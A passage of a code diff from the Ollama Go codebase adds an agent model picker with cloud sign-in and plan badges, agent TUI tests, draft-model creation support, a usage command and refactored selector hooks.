+		}
+	}
+	return 0
+}
+
+func agentModelOptions(ctx context.Context, client *api.Client) ([]agentchat.ModelOption, error) {
+	if client == nil {
+		return nil, errors.New("model picker requires an API client")
+	}
+
+	list, err := client.List(ctx)
+	if err != nil {
+		return nil, err
+	}
+
+	seen := make(map[string]struct{})
+	var options []agentchat.ModelOption
+	add := func(name, description string, recommended bool, requiredPlan string, cloud bool) {
+		name = strings.TrimSpace(name)
+		if name == "" {
+			return
+		}
+		key := strings.ToLower(name)
+		if _, ok := seen[key]; ok {
+			return
+		}
+		seen[key] = struct{}{}
+		options = append(options, agentchat.ModelOption{
+			Name:         name,
+			Description:  strings.TrimSpace(description),
+			Recommended:  recommended,
+			RequiredPlan: requiredPlan,
+			Cloud:        cloud,
+		})
+	}
+
+	if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
+		if recs, err := client.ModelRecommendationsExperimental(ctx); err == nil {
+			for _, rec := range recs.Recommendations {
+				name := strings.TrimSpace(rec.Model)
+				if !modelref.HasExplicitCloudSource(name) {
+					continue
+				}
+				add(name, agentRecommendationDescription(rec), true, strings.TrimSpace(rec.RequiredPlan), true)
+			}
+		}
+	}
+
+	local := slices.Clone(list.Models)
+	slices.SortStableFunc(local, func(a, b api.ListModelResponse) int {
+		return strings.Compare(strings.ToLower(a.Name), strings.ToLower(b.Name))
+	})
+	for _, model := range local {
+		name := strings.TrimSpace(model.Name)
+		if name == "" {
+			name = strings.TrimSpace(model.Model)
+		}
+		name = strings.TrimSuffix(name, ":latest")
+		if modelref.HasExplicitCloudSource(name) {
+			add(name, agentCloudModelDescription(model), false, "", true)
+			continue
+		}
+		add(name, agentLocalModelDescription(model), false, "", false)
+	}
+
+	badges, signInURLs := cloudAvailabilityBadges(ctx, client, options)
+	for i := range options {
+		options[i].AvailabilityBadge = badges[options[i].Name]
+		options[i].SignInURL = signInURLs[options[i].Name]
+	}
+	return options, nil
+}
+
+func cloudAvailabilityBadges(ctx context.Context, client *api.Client, options []agentchat.ModelOption) (map[string]string, map[string]string) {
+	badges := make(map[string]string)
+	signInURLs := make(map[string]string)
+	hasCloud := false
+	for _, opt := range options {
+		if opt.Cloud {
+			hasCloud = true
+			break
+		}
+	}
+	if !hasCloud {
+		return badges, signInURLs
+	}
+
+	if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
+		return badges, signInURLs
+	}
+
+	whoamiCtx, cancel := context.WithTimeout(ctx, 3*time.Second)
+	defer cancel()
+	user, err := client.Whoami(whoamiCtx)
+	if err != nil {
+		var authErr api.AuthorizationError
+		signInURL := ""
+		if errors.As(err, &authErr) && (authErr.StatusCode == http.StatusUnauthorized || authErr.SigninURL != "") {
+			if authErr.SigninURL != "" {
+				signInURL = authErr.SigninURL
+			}
+		} else {
+			return badges, signInURLs
+		}
+		for _, opt := range options {
+			if opt.Cloud {
+				badges[opt.Name] = "Sign in required"
+				if signInURL != "" {
+					signInURLs[opt.Name] = signInURL
+				}
+			}
+		}
+		return badges, signInURLs
+	}
+
+	signedIn := user != nil && user.Name != ""
+	for _, opt := range options {
+		if !opt.Cloud {
+			continue
+		}
+		if !signedIn {
+			badges[opt.Name] = "Sign in required"
+		} else if opt.RequiredPlan != "" && !launch.PlanSatisfies(user.Plan, opt.RequiredPlan) {
+			badges[opt.Name] = "Upgrade required"
+		}
+	}
+	return badges, signInURLs
+}
+
+func agentRecommendationDescription(rec api.ModelRecommendation) string {
+	var parts []string
+	if description := strings.TrimSpace(rec.Description); description != "" {
+		parts = append(parts, description)
+	} else {
+		parts = append(parts, "cloud")
+	}
+	if rec.ContextLength > 0 {
+		parts = append(parts, format.HumanNumber(uint64(rec.ContextLength))+" ctx")
+	}
+	return strings.Join(parts, " - ")
+}
+
+func agentLocalModelDescription(model api.ListModelResponse) string {
+	desc := agentModelArchDescription(model)
+	if desc == "" {
+		return "local"
+	}
+	return "local - " + desc
+}
+
+func agentCloudModelDescription(model api.ListModelResponse) string {
+	return agentModelArchDescription(model)
+}
+
+func agentModelArchDescription(model api.ListModelResponse) string {
+	var details []string
+	if model.Details.Family != "" {
+		details = append(details, model.Details.Family)
+	}
+	if ps := humanizedParameterSize(model.Details.ParameterSize); ps != "" {
+		details = append(details, ps)
+	}
+	if model.Details.QuantizationLevel != "" {
+		details = append(details, model.Details.QuantizationLevel)
+	}
+	var parts []string
+	if len(details) > 0 {
+		parts = append(parts, strings.Join(details, " "))
+	}
+	if model.Details.ContextLength > 0 {
+		parts = append(parts, format.HumanNumber(uint64(model.Details.ContextLength))+" ctx")
+	}
+	return strings.Join(parts, " - ")
+}
+
+func humanizedParameterSize(s string) string {
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return ""
+	}
+	if f, err := strconv.ParseFloat(s, 64); err == nil {
+		return format.HumanNumber(uint64(f))
+	}
+	return s
+}
+
+func agentCloudStatusDisabled(ctx context.Context, client *api.Client) (disabled bool, known bool) {
+	if internalcloud.Disabled() {
+		return true, true
+	}
+
+	status, err := client.CloudStatusExperimental(ctx)
+	if err != nil {
+		var statusErr api.StatusError
+		if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
+			return false, false
+		}
+		return false, false
+	}
+	return status.Cloud.Disabled, true
+}
+
+func ensureCloudModelAccess(ctx context.Context, client *api.Client, modelName, requiredPlan string) error {
+	if client == nil {
+		return errors.New("no API client available")
+	}
+	if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
+		return errors.New("remote inference is unavailable")
+	}
+	user, err := client.Whoami(ctx)
+	if err != nil {
+		return err
+	}
+	if user != nil && user.Name != "" {
+		if requiredPlan != "" && !launch.PlanSatisfies(user.Plan, requiredPlan) {
+			return fmt.Errorf("plan upgrade required: %s needs plan %s, you have %s", modelName, requiredPlan, user.Plan)
+		}
+		return nil
+	}
+	return fmt.Errorf("%s requires sign in", modelName)
+}

cmd/agent_tui_test.go

@@ -0,0 +1,186 @@
+package cmd
+
+import (
+	"errors"
+	"os"
+	"path/filepath"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	coreagent "github.com/ollama/ollama/agent"
+	agenttools "github.com/ollama/ollama/agent/tools"
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/cmd/config"
+	agentchat "github.com/ollama/ollama/cmd/tui/chat"
+)
+
+func TestAgentSystemPromptIncludesSessionWorkingDirOnce(t *testing.T) {
+	workingDir := t.TempDir()
+	prompt := agentSystemPromptAtWithWorkingDir(
+		time.Date(2026, time.July, 14, 0, 0, 0, 0, time.UTC),
+		"test-model",
+		"model instruction",
+		"caller instruction",
+		workingDir,
+	)
+
+	workingDirInstruction := "Current working directory: " + strconv.Quote(workingDir) + "."
+	if got := strings.Count(prompt, workingDirInstruction); got != 1 {
+		t.Fatalf("working directory instruction count = %d, want 1:\n%s", got, prompt)
+	}
+	for _, want := range []string{"model instruction", "caller instruction"} {
+		if !strings.Contains(prompt, want) {
+			t.Fatalf("prompt missing %q:\n%s", want, prompt)
+		}
+	}
+}
+
+func TestAgentWorkingDirIgnoresGetwdFailure(t *testing.T) {
+	original := agentGetwd
+	agentGetwd = func() (string, error) {
+		return "", errors.New("getwd failed")
+	}
+	t.Cleanup(func() {
+		agentGetwd = original
+	})
+
+	if got := agentWorkingDir(); got != "" {
+		t.Fatalf("working directory = %q, want empty on getwd failure", got)
+	}
+}
+
+func TestAgentSystemPromptIncludesSkillCatalog(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.Mkdir(filepath.Join(dir, "release-notes"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(dir, "release-notes", "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft releases.\n---\nUse bullets."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := coreagent.DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	got := agentSystemPromptAtWithWorkingDir(time.Date(2026, 7, 14, 0, 0, 0, 0, time.UTC), "model", "", catalog.SystemContext(), "")
+	if !strings.Contains(got, "release-notes: Draft releases.") || !strings.Contains(got, "normal approval rules") {
+		t.Fatalf("system prompt missing skill context: %q", got)
+	}
+}
+
+func TestAgentSkillSystemContextRequiresAvailableEnabledSkillTool(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.Mkdir(filepath.Join(dir, "release-notes"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(dir, "release-notes", "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft releases.\n---\nUse bullets."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := coreagent.DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	registry := &coreagent.Registry{}
+	registry.Register(&agenttools.Skill{Catalog: catalog})
+
+	if got := agentSkillSystemContext(catalog, registry, false); !strings.Contains(got, "release-notes: Draft releases.") {
+		t.Fatalf("enabled skill context = %q", got)
+	}
+	if got := agentSkillSystemContext(catalog, registry, true); got != "" {
+		t.Fatalf("disabled tools should omit skill context, got %q", got)
+	}
+	if got := agentSkillSystemContext(catalog, &coreagent.Registry{}, false); got != "" {
+		t.Fatalf("unavailable skill tool should omit skill context, got %q", got)
+	}
+}
+
+func TestAgentSelectionItemsUseLaunchSections(t *testing.T) {
+	items := agentSelectionItems([]agentchat.ModelOption{
+		{Name: "glm-5.2:cloud", Description: "cloud", Recommended: true, Cloud: true},
+		{Name: "llama3.2", Description: "local"},
+	})
+
+	if len(items) != 2 {
+		t.Fatalf("items = %d, want 2", len(items))
+	}
+	if !items[0].Recommended {
+		t.Fatalf("cloud recommendation should be pinned: %#v", items[0])
+	}
+	if items[1].Recommended {
+		t.Fatalf("local selected model should stay in launch More section: %#v", items[1])
+	}
+	if items[1].Description != "local" {
+		t.Fatalf("selected model description = %q, want plain description", items[1].Description)
+	}
+}
+
+func TestContextWindowFromRecommendationsMatchesCloudModel(t *testing.T) {
+	got := contextWindowFromRecommendations("glm-5.2:cloud", []api.ModelRecommendation{
+		{Model: "gemma4:cloud", ContextLength: 32768},
+		{Model: "glm-5.2:cloud", ContextLength: 1048576},
+	})
+	if got != 1048576 {
+		t.Fatalf("context window = %d, want 1048576", got)
+	}
+}
+
+func TestShowResponseContextWindowReadsArchitectureContextLength(t *testing.T) {
+	got := showResponseContextWindow(&api.ShowResponse{
+		ModelInfo: map[string]any{
+			"qwen3.context_length":                       uint32(262144),
+			"qwen3.rope.scaling.original_context_length": uint32(32768),
+		},
+	})
+	if got != 262144 {
+		t.Fatalf("context window = %d, want 262144", got)
+	}
+}
+
+func TestProcessContextWindowForModelMatchesLatestAlias(t *testing.T) {
+	got := processContextWindowForModel("ornith", &api.ProcessResponse{
+		Models: []api.ProcessModelResponse{
+			{Name: "other:latest", Model: "other:latest", ContextLength: 32768},
+			{Name: "ornith:latest", Model: "ornith:latest", ContextLength: 262144},
+		},
+	})
+	if got != 262144 {
+		t.Fatalf("context window = %d, want 262144", got)
+	}
+}
+
+func TestSaveLastAgentModel(t *testing.T) {
+	setCmdTestHome(t, t.TempDir())
+
+	if err := saveLastAgentModel(" qwen3:8b "); err != nil {
+		t.Fatalf("saveLastAgentModel returned error: %v", err)
+	}
+	if got := config.LastModel(); got != "qwen3:8b" {
+		t.Fatalf("last model = %q, want qwen3:8b", got)
+	}
+
+	if err := saveLastAgentModel(" "); err != nil {
+		t.Fatalf("saveLastAgentModel blank returned error: %v", err)
+	}
+	if got := config.LastModel(); got != "qwen3:8b" {
+		t.Fatalf("blank save changed last model to %q", got)
+	}
+}
+
+func TestApplyAgentFlagsNoTools(t *testing.T) {
+	cmd := &cobra.Command{}
+	registerAgentFlags(cmd)
+	if err := cmd.Flags().Set("no-tools", "true"); err != nil {
+		t.Fatal(err)
+	}
+
+	var opts agentTUIOptions
+	if _, err := applyAgentFlags(cmd, &opts); err != nil {
+		t.Fatalf("applyAgentFlags returned error: %v", err)
+	}
+	if !opts.ToolsDisabled {
+		t.Fatal("--no-tools should disable tools")
+	}
+}

cmd/cmd.go

@@ -18,6 +18,7 @@ import (
 	"os"
 	"os/exec"
 	"os/signal"
+	"path"
 	"path/filepath"
 	"runtime"
 	"slices"
@@ -26,6 +27,7 @@ import (
 	"strings"
 	"sync/atomic"
 	"syscall"
+	"text/tabwriter"
 	"time"
 
 	"github.com/containerd/console"
@@ -41,6 +43,7 @@ import (
 	"github.com/ollama/ollama/cmd/config"
 	"github.com/ollama/ollama/cmd/launch"
 	"github.com/ollama/ollama/cmd/tui"
+	"github.com/ollama/ollama/discover"
 	"github.com/ollama/ollama/envconfig"
 	"github.com/ollama/ollama/format"
 	"github.com/ollama/ollama/internal/modelref"
@@ -53,35 +56,27 @@ import (
 	"github.com/ollama/ollama/types/model"
 	"github.com/ollama/ollama/types/syncmap"
 	"github.com/ollama/ollama/version"
-	xcmd "github.com/ollama/ollama/x/cmd"
+	xcreate "github.com/ollama/ollama/x/create"
 	xcreateclient "github.com/ollama/ollama/x/create/client"
 	"github.com/ollama/ollama/x/imagegen"
 )
 
 func init() {
 	// Override default selectors to use Bubbletea TUI instead of raw terminal I/O.
-	launch.DefaultSingleSelector = func(title string, items []launch.ModelItem, current string) (string, error) {
-		if !term.IsTerminal(int(os.Stdin.Fd())) || !term.IsTerminal(int(os.Stdout.Fd())) {
-			return "", fmt.Errorf("model selection requires an interactive terminal; use --model to run in headless mode")
-		}
-		tuiItems := tui.ReorderItems(tui.ConvertItems(items))
-		result, err := tui.SelectSingle(title, tuiItems, current)
-		if errors.Is(err, tui.ErrCancelled) {
-			return "", launch.ErrCancelled
-		}
-		return result, err
+	launch.DefaultSingleSelector = func(title string, items []launch.SelectionItem, current string) (string, error) {
+		return runTUISingleSelector(title, items, current, nil)
 	}
 
-	launch.DefaultMultiSelector = func(title string, items []launch.ModelItem, preChecked []string) ([]string, error) {
-		if !term.IsTerminal(int(os.Stdin.Fd())) || !term.IsTerminal(int(os.Stdout.Fd())) {
-			return nil, fmt.Errorf("model selection requires an interactive terminal; use --model to run in headless mode")
-		}
-		tuiItems := tui.ReorderItems(tui.ConvertItems(items))
-		result, err := tui.SelectMultiple(title, tuiItems, preChecked)
-		if errors.Is(err, tui.ErrCancelled) {
-			return nil, launch.ErrCancelled
-		}
-		return result, err
+	launch.DefaultSingleSelectorWithUpdates = func(title string, items []launch.SelectionItem, current string, updates <-chan []launch.SelectionItem) (string, error) {
+		return runTUISingleSelector(title, items, current, updates)
+	}
+
+	launch.DefaultMultiSelector = func(title string, items []launch.SelectionItem, preChecked []string) ([]string, error) {
+		return runTUIMultiSelector(title, items, preChecked, nil)
+	}
+
+	launch.DefaultMultiSelectorWithUpdates = func(title string, items []launch.SelectionItem, preChecked []string, updates <-chan []launch.SelectionItem) ([]string, error) {
+		return runTUIMultiSelector(title, items, preChecked, updates)
 	}
 
 	launch.DefaultSignIn = func(modelName, signInURL string) (string, error) {
@@ -92,7 +87,55 @@ func init() {
 		return userName, err
 	}
 
+	launch.DefaultUpgrade = func(modelName, requiredPlan string) (string, error) {
+		plan, err := tui.RunUpgrade(modelName, requiredPlan)
+		if errors.Is(err, tui.ErrCancelled) {
+			return "", launch.ErrCancelled
+		}
+		return plan, err
+	}
+
 	launch.DefaultConfirmPrompt = tui.RunConfirmWithOptions
+
+	launch.DefaultSpinner = tui.RunSpinner
+}
+
+func runTUISingleSelector(title string, items []launch.SelectionItem, current string, updates <-chan []launch.SelectionItem) (string, error) {
+	if !term.IsTerminal(int(os.Stdin.Fd())) || !term.IsTerminal(int(os.Stdout.Fd())) {
+		return "", fmt.Errorf("model selection requires an interactive terminal; use --model to run in headless mode")
+	}
+	tuiItems := tui.ReorderItems(tui.ConvertItems(items))
+	result, err := tui.SelectSingleWithUpdates(title, tuiItems, current, convertSelectionItemUpdates(updates))
+	if errors.Is(err, tui.ErrCancelled) {
+		return "", launch.ErrCancelled
+	}
+	return result, err
+}
+
+func runTUIMultiSelector(title string, items []launch.SelectionItem, preChecked []string, updates <-chan []launch.SelectionItem) ([]string, error) {
+	if !term.IsTerminal(int(os.Stdin.Fd())) || !term.IsTerminal(int(os.Stdout.Fd())) {
+		return nil, fmt.Errorf("model selection requires an interactive terminal; use --model to run in headless mode")
+	}
+	tuiItems := tui.ReorderItems(tui.ConvertItems(items))
+	result, err := tui.SelectMultipleWithUpdates(title, tuiItems, preChecked, convertSelectionItemUpdates(updates))
+	if errors.Is(err, tui.ErrCancelled) {
+		return nil, launch.ErrCancelled
+	}
+	return result, err
+}
+
+func convertSelectionItemUpdates(updates <-chan []launch.SelectionItem) <-chan []tui.SelectItem {
+	if updates == nil {
+		return nil
+	}
+	out := make(chan []tui.SelectItem, 1)
+	go func() {
+		defer close(out)
+		for items := range updates {
+			out <- tui.ReorderItems(tui.ConvertItems(items))
+		}
+	}()
+	return out
 }
 
 const ConnectInstructions = "If your browser did not open, navigate to:\n    %s\n\n"
@@ -145,6 +188,39 @@ func isLocalhost() bool {
 	return ip != nil && (ip.IsLoopback() || ip.IsUnspecified())
 }
 
+func resolveExperimentalLocalModelDir(ref, filename string) string {
+	if ref == "" || filepath.IsAbs(ref) || filename == "" {
+		return ref
+	}
+
+	candidate := filepath.Join(filepath.Dir(filename), ref)
+	if xcreate.IsSafetensorsModelDir(candidate) || xcreate.IsTensorModelDir(candidate) {
+		return candidate
+	}
+
+	return ref
+}
+
+func resolveExperimentalDraftDir(ref, filename string) (string, error) {
+	if ref == "" {
+		return "", nil
+	}
+	if filepath.IsAbs(ref) {
+		if xcreate.IsSafetensorsModelDir(ref) {
+			return ref, nil
+		}
+		return "", fmt.Errorf("draft %s is not a supported safetensors model directory", ref)
+	}
+	if filename != "" {
+		candidate := filepath.Join(filepath.Dir(filename), ref)
+		if xcreate.IsSafetensorsModelDir(candidate) {
+			return candidate, nil
+		}
+	}
+
+	return "", fmt.Errorf("DRAFT model references are not supported with --experimental yet: %s", ref)
+}
+
 func CreateHandler(cmd *cobra.Command, args []string) error {
 	p := progress.NewProgress(os.Stderr)
 	defer p.Stop()
@@ -159,6 +235,7 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	// Check for --experimental flag for safetensors model creation
 	// This gates both safetensors LLM and imagegen model creation
 	experimental, _ := cmd.Flags().GetBool("experimental")
+	draftQuantize, _ := cmd.Flags().GetString("draft-quantize")
 	if experimental {
 		if !isLocalhost() {
 			return errors.New("remote safetensor model creation not yet supported")
@@ -192,17 +269,22 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 			return err
 		}
 
-		// Resolve relative paths based on Modelfile location
-		if !filepath.IsAbs(modelDir) && filename != "" {
-			modelDir = filepath.Join(filepath.Dir(filename), modelDir)
+		modelDir = resolveExperimentalLocalModelDir(modelDir, filename)
+		if mfConfig.Draft != "" {
+			draftDir, err := resolveExperimentalDraftDir(mfConfig.Draft, filename)
+			if err != nil {
+				return err
+			}
+			mfConfig.Draft = draftDir
 		}
 
 		quantize, _ := cmd.Flags().GetString("quantize")
 		return xcreateclient.CreateModel(xcreateclient.CreateOptions{
-			ModelName: modelName,
-			ModelDir:  modelDir,
-			Quantize:  quantize,
-			Modelfile: mfConfig,
+			ModelName:     modelName,
+			ModelDir:      modelDir,
+			Quantize:      quantize,
+			DraftQuantize: draftQuantize,
+			Modelfile:     mfConfig,
 		}, p)
 	}
 
@@ -248,6 +330,12 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	if quantize != "" {
 		req.Quantize = quantize
 	}
+	if draftQuantize != "" {
+		if len(req.DraftFiles) == 0 {
+			return errors.New("--draft-quantize requires a DRAFT model")
+		}
+		req.DraftQuantize = draftQuantize
+	}
 
 	client, err := api.ClientFromEnvironment()
 	if err != nil {
@@ -258,29 +346,40 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	g.SetLimit(max(runtime.GOMAXPROCS(0)-1, 1))
 
 	files := syncmap.NewSyncMap[string, string]()
+	fileNames := createRequestFileNames(req.Files)
 	for f, digest := range req.Files {
 		g.Go(func() error {
 			if _, err := createBlob(cmd, client, f, digest, p); err != nil {
 				return err
 			}
 
-			// TODO: this is incorrect since the file might be in a subdirectory
-			//       instead this should take the path relative to the model directory
-			//       but the current implementation does not allow this
-			files.Store(filepath.Base(f), digest)
+			files.Store(fileNames[f], digest)
 			return nil
 		})
 	}
 
 	adapters := syncmap.NewSyncMap[string, string]()
+	adapterNames := createRequestFileNames(req.Adapters)
 	for f, digest := range req.Adapters {
 		g.Go(func() error {
 			if _, err := createBlob(cmd, client, f, digest, p); err != nil {
 				return err
 			}
 
-			// TODO: same here
-			adapters.Store(filepath.Base(f), digest)
+			adapters.Store(adapterNames[f], digest)
+			return nil
+		})
+	}
+
+	draftFiles := syncmap.NewSyncMap[string, string]()
+	draftFileNames := createRequestFileNames(req.DraftFiles)
+	for f, digest := range req.DraftFiles {
+		g.Go(func() error {
+			if _, err := createBlob(cmd, client, f, digest, p); err != nil {
+				return err
+			}
+
+			draftFiles.Store(draftFileNames[f], digest)
 			return nil
 		})
 	}
@@ -291,6 +390,7 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 
 	req.Files = files.Items()
 	req.Adapters = adapters.Items()
+	req.DraftFiles = draftFiles.Items()
 
 	bars := make(map[string]*progress.Bar)
 	fn := func(resp api.ProgressResponse) error {
@@ -328,6 +428,65 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	return nil
 }
 
+func createRequestFileNames(files map[string]string) map[string]string {
+	names := make(map[string]string, len(files))
+	root, ok := commonFileRoot(files)
+	for f := range files {
+		name := filepath.Base(f)
+		if ok {
+			abs, err := filepath.Abs(f)
+			if err == nil {
+				if rel, err := filepath.Rel(root, abs); err == nil && rel != "." && rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
+					name = rel
+				}
+			}
+		}
+		names[f] = path.Clean(filepath.ToSlash(name))
+	}
+	return names
+}
+
+func commonFileRoot(files map[string]string) (string, bool) {
+	if len(files) < 2 {
+		return "", false
+	}
+
+	var root string
+	var volume string
+	for f := range files {
+		abs, err := filepath.Abs(f)
+		if err != nil {
+			return "", false
+		}
+		if nextVolume := filepath.VolumeName(abs); volume == "" {
+			volume = nextVolume
+		} else if !strings.EqualFold(volume, nextVolume) {
+			return "", false
+		}
+
+		dir := filepath.Dir(abs)
+		if root == "" {
+			root = dir
+			continue
+		}
+
+		for {
+			rel, err := filepath.Rel(root, dir)
+			if err == nil && (rel == "." || (rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)))) {
+				break
+			}
+
+			parent := filepath.Dir(root)
+			if parent == root {
+				return "", false
+			}
+			root = parent
+		}
+	}
+
+	return root, root != ""
+}
+
 func createBlob(cmd *cobra.Command, client *api.Client, path string, digest string, p *progress.Progress) (string, error) {
 	realPath, err := filepath.EvalSymlinks(path)
 	if err != nil {
@@ -582,10 +741,10 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 			opts.Think = &api.ThinkValue{Value: true}
 		case "false":
 			opts.Think = &api.ThinkValue{Value: false}
-		case "high", "medium", "low":
+		case "high", "medium", "low", "max":
 			opts.Think = &api.ThinkValue{Value: thinkStr}
 		default:
-			return fmt.Errorf("invalid value for --think: %q (must be true, false, high, medium, or low)", thinkStr)
+			return fmt.Errorf("invalid value for --think: %q (must be true, false, high, medium, low, or max)", thinkStr)
 		}
 	} else {
 		opts.Think = nil
@@ -728,11 +887,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 		return imagegen.RunCLI(cmd, name, opts.Prompt, interactive, opts.KeepAlive)
 	}
 
-	// Check for experimental flag
-	isExperimental, _ := cmd.Flags().GetBool("experimental")
-	yoloMode, _ := cmd.Flags().GetBool("experimental-yolo")
-	enableWebsearch, _ := cmd.Flags().GetBool("experimental-websearch")
-
 	if interactive {
 		if err := loadOrUnloadModel(cmd, &opts); err != nil {
 			var sErr api.AuthorizationError
@@ -759,11 +913,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 			}
 		}
 
-		// Use experimental agent loop with tools
-		if isExperimental {
-			return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive, yoloMode, enableWebsearch)
-		}
-
 		return generateInteractive(cmd, opts)
 	}
 	if err := generate(cmd, opts); err != nil {
@@ -829,6 +978,100 @@ func SignoutHandler(cmd *cobra.Command, args []string) error {
 	return nil
 }
 
+func UsageHandler(cmd *cobra.Command, args []string) error {
+	out := cmd.OutOrStdout()
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return err
+	}
+
+	usage, err := client.Usage(cmd.Context())
+	if err != nil {
+		var aErr api.AuthorizationError
+		if errors.As(err, &aErr) && aErr.StatusCode == http.StatusUnauthorized {
+			fmt.Fprintln(out, "You need to be signed in to Ollama to view usage.")
+			fmt.Fprintln(out)
+			if aErr.SigninURL != "" {
+				_ = browser.OpenURL(aErr.SigninURL)
+				fmt.Fprintf(out, ConnectInstructions, aErr.SigninURL)
+			}
+			return nil
+		}
+
+		return err
+	}
+
+	fmt.Fprintln(out, "Usage")
+	details := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
+	fmt.Fprintf(details, "  Period\t%s to %s\n", usage.Activity.Period.StartingAt.Format("2006-01-02"), usage.Activity.Period.EndingAt.Format("2006-01-02"))
+	fmt.Fprintf(details, "  Spend\t$%s\n", usage.Activity.Cost)
+	if err := details.Flush(); err != nil {
+		return err
+	}
+
+	if len(usage.Activity.Models) == 0 && usageLimitEmpty(usage.Limits.Session) && usageLimitEmpty(usage.Limits.Weekly) {
+		fmt.Fprintln(out)
+		fmt.Fprintln(out, "No usage recorded for this period.")
+		return nil
+	}
+
+	if len(usage.Activity.Models) > 0 {
+		fmt.Fprintln(out)
+		fmt.Fprintln(out, "Activity")
+		table := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
+		fmt.Fprintln(table, "  Model\tRequests\tSpend")
+		for _, m := range usage.Activity.Models {
+			fmt.Fprintf(table, "  %s\t%d\t$%s\n", usageModelName(m.Name), m.RequestCount, m.Cost)
+		}
+		if err := table.Flush(); err != nil {
+			return err
+		}
+	}
+
+	if err := writeUsageLimit(out, "Session", usage.Limits.Session); err != nil {
+		return err
+	}
+	if err := writeUsageLimit(out, "Weekly", usage.Limits.Weekly); err != nil {
+		return err
+	}
+
+	return nil
+}
+
+func usageLimitEmpty(limit api.UsageLimit) bool {
+	return limit.Usage == 0 && len(limit.Models) == 0
+}
+
+func usageModelName(name string) string {
+	switch name {
+	case "web search":
+		return "Web Search"
+	case "web fetch":
+		return "Web Fetch"
+	default:
+		return name
+	}
+}
+
+func writeUsageLimit(out io.Writer, name string, limit api.UsageLimit) error {
+	if usageLimitEmpty(limit) {
+		return nil
+	}
+
+	fmt.Fprintln(out)
+	fmt.Fprintln(out, name)
+	table := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
+	fmt.Fprintf(table, "  Used\t%.1f%%\n", limit.Usage*100)
+	if len(limit.Models) > 0 {
+		fmt.Fprintln(table, "  Model\tRequests")
+	}
+	for _, m := range limit.Models {
+		fmt.Fprintf(table, "  %s\t%d\n", usageModelName(m.Name), m.RequestCount)
+	}
+	return table.Flush()
+}
+
 func PushHandler(cmd *cobra.Command, args []string) error {
 	client, err := api.ClientFromEnvironment()
 	if err != nil {
@@ -1196,11 +1439,28 @@ func showInfo(resp *api.ShowResponse, verbose bool, w io.Writer) error {
 
 	if resp.ProjectorInfo != nil {
 		tableRender("Projector", func() (rows [][]string) {
-			arch := resp.ProjectorInfo["general.architecture"].(string)
-			rows = append(rows, []string{"", "architecture", arch})
-			rows = append(rows, []string{"", "parameters", format.HumanNumber(uint64(resp.ProjectorInfo["general.parameter_count"].(float64)))})
-			rows = append(rows, []string{"", "embedding length", strconv.FormatFloat(resp.ProjectorInfo[fmt.Sprintf("%s.vision.embedding_length", arch)].(float64), 'f', -1, 64)})
-			rows = append(rows, []string{"", "dimensions", strconv.FormatFloat(resp.ProjectorInfo[fmt.Sprintf("%s.vision.projection_dim", arch)].(float64), 'f', -1, 64)})
+			arch, _ := resp.ProjectorInfo["general.architecture"].(string)
+			if arch != "" {
+				rows = append(rows, []string{"", "architecture", arch})
+			}
+			if v, ok := resp.ProjectorInfo["general.parameter_count"].(float64); ok {
+				rows = append(rows, []string{"", "parameters", format.HumanNumber(uint64(v))})
+			}
+
+			projectorValue := func(suffix string) (float64, bool) {
+				for _, modality := range []string{"vision", "audio"} {
+					if v, ok := resp.ProjectorInfo[fmt.Sprintf("%s.%s.%s", arch, modality, suffix)].(float64); ok {
+						return v, true
+					}
+				}
+				return 0, false
+			}
+			if v, ok := projectorValue("embedding_length"); ok {
+				rows = append(rows, []string{"", "embedding length", strconv.FormatFloat(v, 'f', -1, 64)})
+			}
+			if v, ok := projectorValue("projection_dim"); ok {
+				rows = append(rows, []string{"", "dimensions", strconv.FormatFloat(v, 'f', -1, 64)})
+			}
 			return
 		})
 	}
@@ -1928,7 +2188,7 @@ func appendEnvDocs(cmd *cobra.Command, envs []envconfig.EnvVar) {
 Environment Variables:
 `
 	for _, e := range envs {
-		envUsage += fmt.Sprintf("      %-24s   %s\n", e.Name, e.Description)
+		envUsage += fmt.Sprintf("      %-27s   %s\n", e.Name, e.Description)
 	}
 
 	cmd.SetUsageTemplate(cmd.UsageTemplate() + envUsage)
@@ -1969,72 +2229,32 @@ func ensureServerRunning(ctx context.Context) error {
 }
 
 func launchInteractiveModel(cmd *cobra.Command, modelName string) error {
-	opts := runOptions{
-		Model:       modelName,
-		WordWrap:    os.Getenv("TERM") == "xterm-256color",
-		Options:     map[string]any{},
-		ShowConnect: true,
-	}
-
 	client, err := api.ClientFromEnvironment()
